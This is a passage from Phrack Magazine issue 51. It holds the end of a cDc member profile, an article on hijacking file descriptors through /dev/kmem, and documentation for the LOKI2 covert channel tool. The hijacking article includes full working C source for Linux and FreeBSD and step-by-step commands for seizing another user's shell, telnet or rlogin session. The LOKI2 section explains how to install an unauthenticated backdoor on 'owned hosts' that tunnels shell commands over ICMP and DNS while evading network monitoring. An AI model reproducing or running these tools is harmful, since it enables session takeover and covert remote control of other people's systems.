or so and forced some friends to take them and then they'd end up at the 
bottom of a closet or in the trash in a few weeks, forgotten.  But instead, we 
used those Stupid Phone Tricks hundreds of times... staying up all night, with 
school looming ahead in a few hours.  But hey, gotta call that AE in New 
Jersey and upload the latest text files.  You can always sleep through class.

    But what makes CULT OF THE DEAD COW different and has enabled us to last 
is that cDc has never been about technology... we didn't form to trade "inpho" 
and hack together like the other groups.  We used technology, be it hand - 
hacked MCI codes or the Internet to get our "messages" out there.  Hacking is 
a means to an end.  I don't give a rat's ass about hacking or any of that crap 
on its own.  I just want to make cool stuff.  Now we're starting a "paramedia" 
concept which means the end of cDc as a "hacker group that puts out text 
files."  Now we're putting out our own original music and other audio files, 
to be distributed just like our text stuff has traditionally been.  The 
bandwidth is finally here where we can do it... and when it's practical, we'll 
be putting out video stuff too.  The idea is to be able to do whatever sort of 
creative work we want and to use our huge distribution network to disseminate 
it.  That's what "cDc paramedia" and the future of our whole group is about.   

    Somebody who was making his college schedule wrote me email the other day, 
and asked "What classes should I take?  I wanna be a hacker."  I told him he'd 
be better off with some history and business courses.  Please understand, I 
don't mean to diss on hacking.  I'm all for having all the knowledge you can 
and exploring things, whatever they may be.  But I've met a lot of bitter old 
"gadget freaks" in this scene, and that's something you want to stay away from.

    That mentality will crush the life out of you under the weight of a 
thousand bits of trivia.  Go outside, there's a world there already.  It's a 
zillion times more exciting and vibrant that what you can build staring into a 
monitor's dim glare.  Hour after hour, year after year.  As your eyesight 
fails you and your head draws nearer the image, your shoulders slump.  You 
become weak.  You are less.  



----------------[  People to mention


The Egyptian Lover: The whole 806 NPA's only real phreak who ran a great 
  BBS, The Missing Link, in 1984.  I've only seen him a couple of times in 
  person, but have to give him mad props for helping Franken Gibe and myself 
  get situated with the phreak knowledge.  His board attracted guys from The 
  Apple Mafia and The Untouchables (the first warez groups ever), and The 
  Knights of Shadow.  Though I'd been getting warez since 1982, The Missing 
  Link was our first contact with the real "elite" h/p scene, and it both 
  fascinated and repulsed us.
     
      Franken Gibe: Bill helped start and really define cDc back in the day.  
  He's a really cool guy.  I've known him for over ten years.  What can I say? 
  We're still, to this day, working on things; though he hasn't been active in 
  cDc since '89 or so.  Now we're trying to start an advertising agency.

      Tippy Turtle: Jason gave me my first local BBS number.  I pushed him to  
  finish "Bunny Lust", which is one of our most popular articles ever.  There 
  have been court cases inspired by that file, and he wrote it when he was 
  fourteen.  He came back to town last Christmas and I showed him the cDc web 
  site.  His comment?  "That's totally evil.  I can't believe how evil this is."

       Mohawk Dave: Christoph is another one of my oldest friends who never 
  fails to diss cDc.  He's a mega-talented AI/robotics guy, and a rad 
  guitarist and BMX freestyle rider too.  Our group of friends spent countless 
  hours cruising the neighborhoods of our hometown on bikes, talking, setting 
  fires, breaking & entering, and having a good ol' time.

    Ex-girlfriends: Blech.

All the other cDc people.  Dang, there've been maybe fifty or so over the 
years and they've all done their thing well and I'm really happy they did.  
They know what's up... this part could run on forever, so I'll just stop.



----------------[   Pearls Of Wisdom


Procrastination is the denial of death.
Lift with your legs, not your back.
      					

----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 05 of 17


-------------------------[  File Descriptor Hijacking


--------[  orabidoo <odar@pobox.com>


Introduction
------------

We often hear of tty hijacking as a way for root to take over a user's
session.  The traditional tools for this use STREAMS on SysV machines,
and one article in Phrack 50 presented a way to do it in Linux, using
loadable modules.

I'll describe here a simple technique that lets root take over a local
or remote session.  I've implemented it for Linux and FreeBSD; it should
be easy to port it to just about any Un*x-like system where root can
write to kernel memory.

The idea is simple: by tweaking the kernel's file descriptor tables, one
can forcefully move file descriptors from one process to another.  
This method allows you to do almost anything you want: redirect the
output of a running command to a file, or even take over your neighbor's
telnet connection.


How the kernel keeps track of open file descriptors
---------------------------------------------------

In Un*x, processes access resources by means of file descriptors, which
are obtained via system calls such as open(), socket() and pipe().  From
the process's point of view, the file descriptor is an opaque handle to
the resource.  File descriptors 0, 1 and 2 represent standard input,
output and error, respectively.  New descriptors are always allocated in
sequence.

On the other side of the fence, the kernel keeps, for each process, a
table of file descriptors (fds), with a pointer to a structure for each
fd.  The pointer is NULL if the fd isn't open.  Otherwise, the structure
holds information about what kind of fd it is (a file, a socket, a
pipe, etc), together with pointers to data about the resource that the fd
accesses (the file's inode, the socket's address and state information,
and so on).

The process table is usually an array or a linked list of structures.
From the structure for a given process, you can easily find a pointer to
the internal fd table for that process.  

In Linux, the process table is an array (called "task") of struct
task_struct's, and includes a pointer to a struct files_struct, which
has the fd array (look at /usr/include/linux/sched.h for details).  In
SunOS 4, the process table is a linked list of struct proc's, which
include a pointer to the u_area, which has info about the fds (look at
/usr/include/sys/proc.h).  In FreeBSD, it's also a linked list (called
"allproc") of struct proc's, which include a pointer to a struct
filedesc with the fd table (also according to /usr/include/sys/proc.h).

If you have read and write access to the kernel's memory (which, in most
cases, is the same as having read/write access to /dev/kmem), there's
nothing to prevent you from messing with these fd tables, stealing open
fd's from a process and reusing them in another one.  

The only major case where this won't work are systems based on BSD4.4
(such as {Free, Net, Open}BSD) running at a securelevel higher than 0.
In that mode, write access to /dev/mem and /dev/kmem is disabled, among
other things.  However, many BSD systems run at securelevel -1, which leaves
them vulnerable, and in many others it may be possible to get the securelevel 
to be -1 at the next boot by tweaking the startup scripts.  On FreeBSD, you 
can check the securelevel with the command "sysctl kern.securelevel".  Linux 
also has securelevels, but they don't prevent you from accessing /dev/kmem.


File descriptor hijacking
-------------------------

The kernel's internal variables are really not made to be modified like
this by user programs, and it shows.  

First of all, on a multitasking system, you have no guarantee that the
kernel's state won't have changed between the time you find out a
variable's address and the time you write to it (no atomicity).  This is 
why these techniques shouldn't be used in any program that aims for 
reliability.  That being said, in practice, I haven't seen it fail, because 
the kernel doesn't move this kind of data around once it has allocated it 
(at least for the first 20 or 32 or 64 or so fds per process), and because 
it's quite unlikely that you'll do this just when the process is closing or
opening a new fd.

You still want to try it?

For simplicity's sake, we won't try to do things like duplicating an fd
between two processes, or passing an fd from one process to another
without passing another one in return.  Instead, we'll just exchange an
fd in one process with another fd in another process.  This way we only
have to deal with open files, and don't mess with things like reference
counts.  This is as simple as finding two pointers in the kernel and
switching them around.  A slightly more complicated version of this
involves 3 processes, and a circular permutation of the fds.

Of course, you have to guess which fd corresponds to the resource you
want to pass.  To take complete control of a running shell, you'll want
its standard input, output and error, so you'll need to take the 3 fds
0, 1 and 2.  To take control of a telnet session, you'll want the fd of
the inet socket that telnet is using to talk to the other side, which is
usually 3, and exchange it with another running telnet (so it knows what
to do with it).  Under Linux, a quick look at /proc/[pid]/fd will tell
you which fds the process is using.


Using chfd
----------

I've implemented this for Linux and FreeBSD; it would be fairly easy to
port to other systems (as long as they let you write to /dev/mem or
/dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to
figure out how it works).

To compile chfd for Linux, you need to figure out a couple things about
the running kernel.  If it's a 1.2.13 or similar, you'll need to
uncomment the line /* #define OLDLINUX */, because the kernel's
structures have changed since then.  If it's 2.0.0 or newer, it should
work out of the box, although it could change again...    

Then you need to find the symbol table for the kernel, which is usually
in /boot/System.map or similar.  Make sure this corresponds to the
kernel that is actually running, and look up the address for the "task"
symbol.  You need to put this value in chfd, instead of "00192d28".
Then compile with "gcc chfd.c -o chfd".

To compile chfd for FreeBSD, just get the FreeBSD code and compile it
with "gcc chfd.c -o chfd -lkvm".  This code was written for FreeBSD
2.2.1, and might need tweaking for other versions.

Once it's compiled, you invoke chfd with 

 	chfd pid1 fd1 pid2 fd2
or
	chfd pid1 fd1 pid2 fd2 pid3 fd3

In the first case, the fds are just swapped.  In the second case, the
second process gets the first's fd, the third gets the second's fd, and
the first gets the third's fd.

As a special case, if one of the pids is zero, the corresponding fd is
discarded, and a fd on /dev/null is passed instead.


Example 1
---------

. a long calculation is running with pid 207, and with output to the tty
. you type "cat > somefile", and look up cat's pid (say 1746)

Then doing

	chfd 207 1 1746 1

will redirect the calculation on the fly to the file "somefile", and the
cat to the calculation's tty.  Then you can ^C the cat, and leave the
calculation running without fear of important results scrolling by.


Example 2
---------

. someone is running a copy of bash on a tty, with pid 4022
. you are running another copy of bash on a tty, with pid 4121

Then you do

	sleep 10000  
	  # on your own bash, so it won't read its tty for a while,
	  # otherwise your shell gets an EOF from /dev/null and leaves
	  # the session immediately
	chfd 4022 0 0 0 4121 0
	chfd 4022 1 0 0 4121 1
	chfd 4022 2 0 0 4121 2

and you find yourself controlling the other guy's bash, and getting the
output too, while the guy's keystrokes go to /dev/null.  When you exit
the shell, he gets his session disconnected, and you're back in your
sleep 10000 which you can safely ^C now.  

Different shells might use different file descriptors; zsh seems to use
fd 10 to read from the tty, so you'll need to exchange that too.


Example 3
---------

. someone is running a telnet on a tty, with pid 6309
. you start a telnet to some worthless port that won't drop the 
  connection too quickly (telnet localhost 7, telnet www.yourdomain 80,
  whatever), with pid 7081
. under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you
  telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.

Then doing

	chfd 6309 3 7081 3 0 0

will replace the network connection with a /dev/null on the guy's telnet
(which reads an EOF, so he'll get a "Connection closed by foreign
host."), and your telnet finds itself connected to the guy's remote
host.  At this point you'll probably need to press ^] and type "mode
character" to tell your telnet to stop echoing your lines locally.


Example 4
---------

. someone is running an rlogin on a tty; each rlogin uses two processes, 
  with pids 4547 and 4548
. you start an rlogin localhost on another tty, with pids 4852 and 4855
. a quick look at the relevant /proc/../fds tells you that each of the
  rlogin processes is using fd 3 for the connection.

Then doing

	chfd 4547 3 4552 3
	chfd 4548 3 4555 3

does just what you expect.  Except that your rlogin may still be blocked
by the kernel because it's waiting on an event that won't happen (having
data to read from localhost); in that case you wake it up with a kill
-STOP followed by 'fg'.


You get the idea.  When a program gets another one's fd, it's important
that it knows what to do with it; in most cases you achieve this by
running a copy of the same program you want to take over, unless you're
passing a fd on /dev/null (which gives an EOF) or just passing
stdin/stdout/stderr.  


Conclusion
----------

As you can see, you can do quite powerful things with this.  And there
isn't really much you can do to protect yourself from some root doing
this, either.  

It could be argued that it's not even a security hole; root is
*supposed* to be able to do these things.  Otherwise there wouldn't be
explicit code in the drivers for /dev/kmem to let you write there, would
there?


The Linux code
--------------

<++> fd_hijack/chfd-linux.c
/*  chfd - exchange fd's between 2 or 3 running processes.
 *  
 *  This was written for Linux/intel and is *very* system-specific.
 *  Needs read/write access to /dev/kmem; setgid kmem is usually enough.
 *
 *  Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
 *
 *  With two sets of arguments, exchanges a couple of fd between the 
 *  two processes.
 *  With three sets, the second process gets the first's fd, the third gets
 *  the second's fd, and the first gets the third's fd.
 *
 *  Note that this is inherently unsafe, since we're messing with kernel
 *  variables while the kernel itself might be changing them.  It works
 *  in practice, but no self-respecting program would want to do this.
 *
 *  Written by: orabidoo <odar@pobox.com>
 *  First version: 14 Feb 96
 *  This version: 2 May 97
 */


#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#define __KERNEL__		/* needed to access kernel-only definitions */
#include <linux/sched.h>

/* #define OLDLINUX */		/* uncomment this if you're using Linux 1.x;
				   tested only on 1.2.13 */

#define TASK 0x00192d28		/* change this! look at the system map,
				   usually /boot/System.map, for the address
				   of the "task" symbol */

#ifdef OLDLINUX
#  define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
#  define AD(fd) (taskp + FD0 + 4*(fd))
#else
#  define FILES ((char *)&ts.files - (char *)&ts)
#  define FD0 ((char *)&fs.fd[0] - (char *)&fs)
#  define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
#endif


int kfd;
struct task_struct ts;
struct files_struct fs;
int taskp;

int readval(int ad) {
  int val, r;

  if (lseek(kfd, ad, SEEK_SET) < 0)
    perror("lseek"), exit(1);
  if ((r = read(kfd, &val, 4)) != 4) {
    if (r < 0)
      perror("read");
    else fprintf(stderr, "Error reading...\n");
    exit(1);
  }
  return val;
}

int readvalz(int ad) {
  int r = readval(ad);
  if (r == 0)
    fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
  return r;
}

void writeval(int ad, int val) {
  int w;

  if (lseek(kfd, ad, SEEK_SET) < 0)
    perror("lseek"), exit(1);
  if ((w = write(kfd, &val, 4)) != 4) {
    if (w < 0)
      perror("write");
    else fprintf(stderr, "Error writing...\n");
    exit(1);
  }
}

void readtask(int ad) {
  int r;

  if (lseek(kfd, ad, SEEK_SET)<0)
    perror("lseek"), exit(1);
  if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
	sizeof(struct task_struct)) {
    if (r < 0)
      perror("read");
    else fprintf(stderr, "Error reading...\n");
    exit(1);
  }
}

void findtask(int pid) {
  int adr;

  for (adr=TASK; ; adr+=4) {
    if (adr >= TASK + 4*NR_TASKS)
      fprintf(stderr, "Process not found\n"), exit(1);
    taskp = readval(adr);
    if (!taskp) continue;
    readtask(taskp);
    if (ts.pid == pid) break;
  }
}

int main(int argc, char **argv) {
  int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
  int three=0;

  if (argc != 5 && argc != 7)
    fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), 
    exit(1);

  pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
  pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
  if (argc == 7)
    pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;

  if (pid1 == 0)
    pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
  if (pid2 == 0)
    pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
  if (three && pid3 == 0)
    pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);

  kfd = open("/dev/kmem", O_RDWR);
  if (kfd < 0)
    perror("open"), exit(1);

  findtask(pid1);
  ad1 = AD(fd1);
  val1 = readvalz(ad1);
  printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);

  findtask(pid2);
  ad2 = AD(fd2);
  val2 = readvalz(ad2);
  printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);

  if (three) {
    findtask(pid3);
    ad3 = AD(fd3);
    val3 = readvalz(ad3);
    printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
  }

  if (three) {
    if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
      fprintf(stderr, "fds changed in memory while using them - try again\n");
      exit(1);
    }
    writeval(ad2, val1);
    writeval(ad3, val2);
    writeval(ad1, val3);
  } else {
    if (readval(ad1)!=val1 || readval(ad2)!=val2) {
      fprintf(stderr, "fds changed in memory while using them - try again\n");
      exit(1);
    }
    writeval(ad1, val2);
    writeval(ad2, val1);
  }
  printf("Done!\n");
}

<-->

The FreeBSD code
----------------

<++> fd_hijack/chfd-freebsd.c

/*  chfd - exchange fd's between 2 or 3 running processes.
 *  
 *  This was written for FreeBSD and is *very* system-specific.  Needs 
 *  read/write access to /dev/mem and /dev/kmem; only root can usually 
 *  do that, and only if the system is running at securelevel -1.
 *
 *  Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
 *  Compile with: gcc chfd.c -o chfd -lkvm
 *
 *  With two sets of arguments, exchanges a couple of fd between the 
 *  two processes.
 *  With three sets, the second process gets the first's fd, the third 
 *  gets the second's fd, and the first gets the third's fd.
 *
 *  Note that this is inherently unsafe, since we're messing with kernel
 *  variables while the kernel itself might be changing them.  It works
 *  in practice, but no self-respecting program would want to do this.
 *
 *  Written by: orabidoo <odar@pobox.com>
 *  FreeBSD version: 4 May 97
 */


#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <sys/proc.h>

#define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
#define FILES ((char *)&p.p_fd - (char *)&p)
#define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))

kvm_t *kfd;
struct proc p;
u_long procp, allproc;
struct nlist nm[2];

u_long readval(u_long ad) {
  u_long val;

  if (kvm_read(kfd, ad, &val, 4) != 4)
    fprintf(stderr, "error reading...\n"), exit(1);
  return val;
}

u_long readvalz(u_long ad) {
  u_long r = readval(ad);
  if (r == 0)
    fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
  return r;
}

void writeval(u_long ad, u_long val) {
  if (kvm_write(kfd, ad, &val, 4) != 4)
    fprintf(stderr, "error writing...\n"), exit(1);
}

void readproc(u_long ad) {
  if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
    fprintf(stderr, "error reading a struct proc...\n"), exit(1);
}

void findproc(int pid) {
  u_long adr;

  for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
    procp = adr;
    readproc(procp);
    if (p.p_pid == pid) return;
  }
  fprintf(stderr, "Process not found\n");
  exit(1);
}

int main(int argc, char **argv) {
  int pid1, fd1, pid2, fd2, pid3, fd3;
  u_long ad1, val1, ad2, val2, ad3, val3;
  int three=0;

  if (argc != 5 && argc != 7)
    fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), 
    exit(1);

  pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
  pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
  if (argc == 7)
    pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;

  if (pid1 == 0)
    pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
  if (pid2 == 0)
    pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
  if (three && pid3 == 0)
    pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);

  kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
  if (kfd == NULL) exit(1);

  bzero(nm, 2*sizeof(struct nlist));
  nm[0].n_name = "_allproc";
  nm[1].n_name = NULL;
  if (kvm_nlist(kfd, nm) != 0)
    fprintf(stderr, "Can't read kernel name list\n"), exit(1);
  allproc = nm[0].n_value;

  findproc(pid1);
  ad1 = AD(fd1);
  val1 = readvalz(ad1);
  printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);

  findproc(pid2);
  ad2 = AD(fd2);
  val2 = readvalz(ad2);
  printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);

  if (three) {
    findproc(pid3);
    ad3 = AD(fd3);
    val3 = readvalz(ad3);
    printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
  }

  if (three) {
    if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
      fprintf(stderr, "fds changed in memory while using them - try again\n");
      exit(1);
    }
    writeval(ad2, val1);
    writeval(ad3, val2);
    writeval(ad1, val3);
  } else {
    if (readval(ad1)!=val1 || readval(ad2)!=val2) {
      fprintf(stderr, "fds changed in memory while using them - try again\n");
      exit(1);
    }
    writeval(ad1, val2);
    writeval(ad2, val1);
  }
  printf("Done!\n");
}

<-->

----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 06 of 17


-------------------------[  L O K I 2   (the implementation)


--------[  daemon9 <route@infonexus.com>



----[  Introduction

            
    This is the companion code to go with the article on covert channels in
network protocols that originally appeared in P49-06.  The article does not
explain the concepts, it only covers the implementation.  Readers desiring more
information are directed to P49-06.

    LOKI2 is an information-tunneling program.  It is a proof of concept work 
intending to draw attention to the insecurity that is present in many network 
protocols.  In this implementation, we tunnel simple shell commands inside of 
ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic.  To the 
network protocol analyzer, this traffic seems like ordinary benign packets of 
the corresponding protocol.  To the correct listener (the LOKI2 daemon) 
however, the packets are recognized for what they really are.  Some of the
features offered are: three different cryptography options and on-the-fly 
protocol swapping (which is a beta feature and may not be available in your 
area).

    The vulnerabilities presented here are not new.  They have been known
about and actively exploited for years.  LOKI2 is simply one possible 
implementation.  Implementations of similar programs exist for UDP, TCP, IGMP,
etc...  This is by no means limited to type 0 and type 8 ICMP packets.

    Before you go ahead and patch owned hosts with lokid, keep in mind that
when linked against the crypto libraries, it is around 70k, with about 16k 
alone in the data segment.  It also forks off at least twice per client 
request.  This is not a clandestine program.  You want clandestine?
Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it
part of the O/S.


----------------------[  BUILDING AND INSTALLATION

    Building LOKI2 should be painless.  GNU autoconf was not really needed for 
this project;  consequently you may have to edit the Makefile a bit.  This 
shouldn't be a problem, becuase you are very smart.


----[  I. Edit the toplevel Makefile

1)  Make sure your OS is supported.  As of this distribution, we suppport the
    following (if you port LOKI2 to another architecture, please send me the
    diffs):

                Linux   2.0.x 
                OpenBSD 2.1
                FreeBSD 2.1.x
                Solaris 2.5.x

2)  Pick an encryption technology.  STRONG_CRYPTO (DH and Blowfish), 
    WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext).

3)  If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ.
    You will also need SSLeay (see below).

4)  Chose whether or not to allocate a psudeo terminal (PTY) (may not be 
    implemented) or just use popen (POPEN) and use the 
    `pipe -> fork -> exec -> sh` sequence to execute commands. 

5)  See Net/3 restrictions below and adjust accordingly.

6)  Pausing between sends is a good idea, especially when both hosts are on
    the same Ethernet.  We are dealing with a potentially lossy protocol and 
    there is no reliablity layer added as of this version...  SEND_PAUSE 
    maintains some order and keeps the daemon from spewing packets too fast.

    You can also opt to increase the pause to a consdiderably larger value, 
    making the channel harder to track on the part of the netework snooper.
    (This would, of course, necessitate the client to choose an even larger
    MIN_TIMEOUT value.

----[  II. Supplemental librarys

1)  If you are using STRONG_CRYPTO you will need to get the SSLeay crypto 
    library, version 0.6.6.  DO NOT get version 0.8.x as it is untested with
    LOKI2.  Hopefully these URLs will not expire anytime soon:
  
            ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay-0.6.6.tar.gz
            ftp://ftp.uni-mainz.de/pub/internet/security/ssl

2)  Build and install SSLeay.  If you decide not to install it, Make sure you 
    correct the crypto library path LIB_CRYPTO_PATH in the Makefile and 
    include paths in loki.h.



----[  III. Compilation and linking

1)  From the the toplevel directory, `make systemtype`.

2)  This will build and strip the executables.



----[  IV. Testing

1)  Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid`

2)  Start up a client `./loki -d localhost`

3)  Issue an `ls`.

4)  You should see a short listing of the root directory.

5)  Yay.

6) For real world testing, install the daemon on a remote machine and go to 
   town.  See below for potential problems.


----[  V. Other Options

    The loki.h header file offers a series of configurable options.

MIN_TIMEOUT is the minimum amount of time in whole seconds the client will 
            wait for a response from the server before the alarm timer goes off.

MAX_RETRAN  (STRONG_CRYPTO only) is the maximum amount of time in whole 
            seconds the client will retransmit its initial public key 
            handshaking packets before giving up.  This feature will be 
            deprecated when a reliability layer is added.

MAX_CLIENT  is the maximum amount of clients the server will accept and
            service concurrently.

KEY_TIMER   is the maximum amount of time in whole seconds an idle client 
            entry will be allowed to live in the servers database.  If this
            amount of time has elapsed, all entries in the servers client 
            database that have been inactive for KEY_TIMER seconds will be
            removed.  This provides the server with a simple way to clean up
            resources from crashed or idle clients.



----------------------[  LOKI2 CAVEATS AND KNOWN BUGS

 Net/3 Restrictions

    Under Net/3, processes interested in receiving ICMP messages must register
with the kernel in order to get these messages.  The kernel will then pass
all ICMP messages to these registered listeners, EXCEPT for damaged ICMP 
packets and request packets.  Net/3 TCP/IP implementations will not pass ICMP 
request messages of any kind to any registered listeners.  This is a problem
if we are going to be using ICMP_ECHO (a request type packet) and want it to
be directly passed to our user-level program (lokid).  We can get around this
restriction by inverting the flow of the transactions.  We send ICMP_ECHOREPLYs
and elicit ICMP_ECHOs.
  
    Note, that under Linux, we do not have this probem as ALL valid ICMP 
packets are delivered to user-level processes.  If the daemon is installed on 
a Linux box, we can use the normal ICMP_ECHO -> ICMP_ECHOREPLY method of 
tunneling.  Compile with -DNET3 according to this chart:

       | Client  |
-----------------------------------------------------
Daemon | ------- |   Linux  |   *bsd*   |   Solaris |    
-----------------------------------------------------
       | Linux   |   no     |    yes    |   yes     |
       | *bsd*   |   no     |    yes    |   yes     |
       | Solaris |   no     |    opt    |   opt     |


 The Initialization Vector

    When using Strong Crypto, the initialization vector (ivec) incrementation 
is event based.  Every time a packet is sent by the client the client ivec is 
incremented, and, every time a packet is received by the server, the server 
side ivec is also incremented.  This is fine if both ends stay in sync with
each other.  However, we are dealing with a potentially lossy protocol.  If
a packet from the client to the server is dropped, the ivecs become desynched,
and the client can no longer communicate with the server.

    There are two easy ways to deal with this.  One would be to modify the ivec
permutation routine to be time-vector based, having the ivecs increase as time 
goes by.  This is problematic for several reasons.  Initial synchronization 
would be difficult, especially on different machine architectures with 
different clock interrupt rates.  Also, we would also have to pick a 
relatively small time interval for ivec permutations to be effective on fast 
networks, and the smaller the ivec time differential is, the more the protocol 
would suffer from clock drift (which is actually quite considerable).


 Protocol Swaping

    Swapping protocols is broken in everything but Linux.  I think it has 
something to do with the Net/3 socket semantics.  This is probably just a bug
I need to iron out.  Quite possibly something I did wrong.  *shrug*...
Nevermind the fact that the server isn't doing any synchronous I/O multiplexing, 
consequently, swapping protocols requires a socket change on everone's part.  
This is why this feature is 'beta'.


 Authentication

    Um, well, there is none.  Any client can connect to the server, and any
client can also cause the server to shut down.  This is actually not a bug or 
a caveat.  It is intentional.

 
 I/O

    Should be done via select.

----------------------[  TODO LIST

- possible time vector-based ivec permutation instead of event-based as event 
  based is prone to synch failures, OR, even better, a reliability layer.



----[  The technologies 


----------------------[  SYMMETRIC BLOCK CIPHER

    A symmetric cipher is one that uses the same key for encryption and
decryption, or the decryption key is easily derivable from the encryption key.
Symmetric ciphers tend to be fast and well suited for bulk encryption, but
suffer from woeful key distribution problems.  A block cipher is simply one
that encrypts data in blocks (usually 64-bits).  The symmetric block cipher 
employed by LOKI2 is Blowfish in CFB mode with a 128-bit key.


----------------------[  CFB MODE

    Symmetric block ciphers can be implemented as self-synchronizing stream
ciphers.  This is especially useful for data that is not suitable for padding
or when data needs to processed in byte-sized chunks.  In CFB mode, data is
encrypted in units smaller then the block size.  In our case, each encryption 
of the 64-bit block cipher encrypts 8-bits of plaintext.  The initialization
vector, which is used to seed the process, must be unique but not secret.  We
use every 3rd byte of the symmetric key for our IV.  The IV must change for
each message, to do this, we simply increment it as packets are generated.


----------------------[  BLOWFISH

    Blowfish is a variable key length symmetric cipher designed by Bruce 
Schneier.  It is a portable, free, fast, strong algorithm.
It offers a key length of up to 448-bits, however, for LOKI2 we use 
a 128-bit key.


----------------------[  ASYMMETRIC CIPHER

    An asymmetric cipher makes use of two keys, coventionally called the
private key and public key.  These two keys are mathematically related such
that messages encrypted with one, can only be decrypted by the other.  It
is also infeasible to derive one key from the other.  Asymmetric ciphers solve
the problem of key management by negating the need for a shared secret, however
they are much slower the symmetric ciphers.  The perfect world in this case
is a hybrid system, using both a symmetric cipher for key exchange and a 
symmetric cipher for encryption.  This is the scheme employed in LOKI2.


---------------------[  DIFFIE - HELLMAN

    In 1976, Whitfield Diffie and Marty Hellman came forth with the first
asymmetric cipher (DH).  DH cannot be used for encryption, only for symmetric 
key exchange.  The strength of DH relies on the apparent difficulty in 
computing discrete logarithms in a finite field.  DH generates a shared secret 
based off of 4 components:

    P           the public prime
    g           the public generator
    c{x, X}     the client's private/public keypair
    s{y, Y}     the server's private/public keypair
    SS          the shared secret (from the which the key is extracted)

The protocol for secret generation is simple:

        Client                          Server
        ------                          ------
1)    X = g ^ x mod P
2)                           X -->
3)                                    Y = g ^ y mod P
4)                       <-- Y
5)    SS = Y ^ x mod P                SS = X ^ y mod P


----------------------[  NETWORK FLOW

    L O K I 2
    Covert channel implementation for Unix
    ----------------------------------------------------------------------
                                                daemon9|route [guild 1997]
  ----------------
  | LOKI2 CLIENT |
  ----------------           -----------------------------------
   ^      |  sendto()        |  FIRST GENERATION LOKI2 DAEMON  |
   |      |                  -----------------------------------
   |      |  client sends     |  shadow()     server forks
   |      |  data             v
   |      v                   |      
   |      |               -----    
   |      |               |     
   |      |               |   
   |      |               v fork()
   |      |             -----
   |      |            C|   |P   
   |      v             |   |   
   |      |             |   ----> clean_exit()          parent exits
   |      |             |
   |      |             |  2nd generation child daemon becomes leader of a new 
   |      |             |  session, handles initial network requests    
   ^      |             |  
   |      |             v
   |      |            ------------------------------
   |      -----------> |  SECOND GENERATION DAEMON  | read()    blocks until
   |      LOKI2        ------------------------------           data arrives
   |      network             |          ^
   |      traffic             |          |
   |                          |          |
   -------<----               |          |
              |               |          |
              |               |          |
              |               |          |
              |               v fork()   |
              |             -----        |
              ^            C|   |P       |
              |             |   |        | parent continues
              |             |   --->------
              |             | 
              |             |  3rd generation daemon handles client request
              |             v
              |     -----------------------------
              --<---|  THIRD GENERATION DAEMON  |  
                    -----------------------------
                        switch(PACKET_TYPE)

                    L_PK_REQ:             L_REQ:
                     STRONG_CRYPTO           POPEN
                     key management    PTY     |
                                        |     pipe()  <---------
                                        |      |               |
     -------<--------------------<------       |               |
     |                                      ----               |
     |                                      |                  |
     |                                      v fork()           |
     v                                    -----                |
  Unimplemented (7.97)                   C|   |P               |
                                          |   |                ^
                                          |   ----> exit()     |
                                          |                    |
                 4th generation child     |     ---->------->---
                 daemon execs commands    v     |
                      ------------------------------ 
                      |  FOURTH GENERATION DAEMON  |  exec()     4g child execs 
                      ------------------------------             command in
                        STDOUT of command                        /bin/sh 
                        to client via pipe



----------------------[  THANKS

    snocrash for being sno,
    nirva for advice and help and the use of his FreeBSD machine,
    mycroft for advice and the use of his Solaris machine, 
    alhambra for being complacent,
    Craig Nottingham for letting me borrow some nomenclature,
    truss and strace for being indespensible tools of the trade, 

